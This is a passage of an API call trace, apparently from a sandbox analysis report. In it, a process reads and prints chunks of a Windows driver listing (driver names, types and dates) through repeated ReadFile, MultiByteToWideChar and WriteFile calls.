0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.549] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=8704) returned 1 [0151.549] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.549] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="adp94xx adp94xx Kernel 12/5/2008 11:54:42 PM \r\nadpahci adpahci Kernel 5/1/2007 5:30:09 PM \r\nadpu320 adpu320 Kernel 2/28/2007 12:04:15 AM \r\nAFD Ancillary Function Dri Kernel 11/20/2010 9:23:27 AM \r\nagp440 Intel AGP Bus Filter Kernel 7/13/2009 11:38:43 PM \r\naliide aliide Kernel 7/13/2009 11:19:47 PM \r\namdide amdide Kernel 7/13/2009 11:19:49\x15") returned 512 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.549] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.550] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=9216) returned 1 [0151.550] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.550] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" PM \r\nAmdK8 AMD K8 Processor Drive Kernel 7/13/2009 11:19:25 PM \r\nAmdPPM AMD Processor Driver Kernel 7/13/2009 11:19:25 PM \r\namdsata amdsata Kernel 3/19/2010 12:45:17 AM \r\namdsbs amdsbs Kernel 3/20/2009 6:36:03 PM \r\namdxata amdxata Kernel 3/19/2010 4:18:18 PM \r\nAppID AppID Driver Kernel 11/20/2010 10:14:37 AM\r\narc arc Kernel 5/24/2007 9:\x15") returned 512 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] GetFileType (hFile=0x50) returned 0x1 [0151.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.550] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.551] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=9728) returned 1 [0151.551] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.551] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.551] GetFileType (hFile=0x50) returned 0x1 [0151.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="27:55 PM \r\narcsas arcsas Kernel 1/14/2009 7:27:37 PM \r\nAsyncMac RAS Asynchronous Media Kernel 7/14/2009 12:10:13 AM \r\natapi IDE Channel Kernel 7/13/2009 11:19:47 PM \r\nb06bdrv Broadcom NetXtreme II Kernel 2/13/2009 10:18:07 PM \r\nb57nd60a Broadcom NetXtreme Gig Kernel 4/26/2009 11:14:55 AM \r\nBeep Beep Kernel 7/14/2009 12:00:13 AM \r\nblbdrive blbdrive Kernel 7/13/2\x15") returned 512 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] GetFileType (hFile=0x50) returned 0x1 [0151.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.552] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.553] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=10240) returned 1 [0151.553] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.553] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="009 11:35:59 PM \r\nbowser Browser Support Driver File System 7/13/2009 11:23:50 PM \r\nBrFiltLo Brother USB Mass-Stora Kernel 8/7/2006 1:51:06 AM \r\nBrFiltUp Brother USB Mass-Stora Kernel 8/7/2006 1:51:02 AM \r\nBrserid Brother MFC Serial Por Kernel 8/7/2006 1:51:11 AM \r\nBrSerWdm Brother WDM Serial dri Kernel 8/7/2006 1:51:05 AM \r\nBrUsbMdm Brother MFC USB Fax On Kernel 8/7/2006 1:51:00 AM \r\nBrUsbSer Brother MFC USB Serial Kernel \x15") returned 512 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.553] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.554] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=10752) returned 1 [0151.554] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.554] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="8/9/2006 12:11:02 PM \r\nBTHMODEM Bluetooth Serial Commu Kernel 7/14/2009 12:06:52 AM \r\ncdfs CD/DVD File System Rea File System 7/13/2009 11:19:46 PM \r\ncdrom CD-ROM Driver Kernel 11/20/2010 9:19:20 AM \r\ncirclass Consumer IR Devices Kernel 7/14/2009 12:06:34 AM \r\nCLFS Common Log (CLFS) Kernel 7/13/2009 11:19:57 PM \r\nCmBatt Microsoft ACPI Control Kernel 7/13/2009 11:31:03 PM \r\ncmdide cmdide Kernel \x15") returned 512 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] GetFileType (hFile=0x50) returned 0x1 [0151.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.554] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.555] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=11264) returned 1 [0151.555] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.555] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 7/13/2009 11:19:48 PM \r\nCNG CNG Kernel 11/20/2010 10:08:45 AM\r\nCompbatt Compbatt Kernel 7/13/2009 11:31:02 PM \r\nCompositeBus Composite Bus Enumerat Kernel 11/20/2010 10:33:17 AM\r\ncrcdisk Crcdisk Filter Driver Kernel 7/14/2009 12:01:14 AM \r\nCSC Offline Files Driver Kernel 11/20/2010 9:27:12 AM \r\nDfsC DFS Namespace Client D File System 11/20/2010 9:26:31 AM \r\ndiscache System Attribute Cache Ke\x15") returned 512 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] GetFileType (hFile=0x50) returned 0x1 [0151.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.555] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.556] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=11776) returned 1 [0151.556] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.556] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="rnel 7/13/2009 11:37:18 PM \r\nDisk Disk Driver Kernel 7/13/2009 11:19:57 PM \r\ndmvsc 